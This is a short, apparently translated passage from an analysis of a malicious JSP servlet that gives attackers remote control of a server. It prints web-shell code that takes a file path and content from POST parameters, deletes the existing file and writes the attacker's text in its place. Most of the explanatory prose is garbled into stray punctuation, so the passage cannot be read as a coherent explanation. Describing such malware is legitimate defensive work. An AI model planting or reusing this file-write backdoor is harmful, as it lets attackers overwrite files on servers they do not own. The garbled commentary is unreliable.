This is similar to a rootkit that provides remote control for attackers. They create a form message for the same JSP servlet. When a mail request is received, the parameter values sent to it through the POST request are stored and processed;
String url=request.getParameter("url");
String text=request.getParameter("smart");
, , url
, url
. , , - ;
File f=new File(url);
if(f.exists()) {
f.delete();
}
, smart
text
. , url
.
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();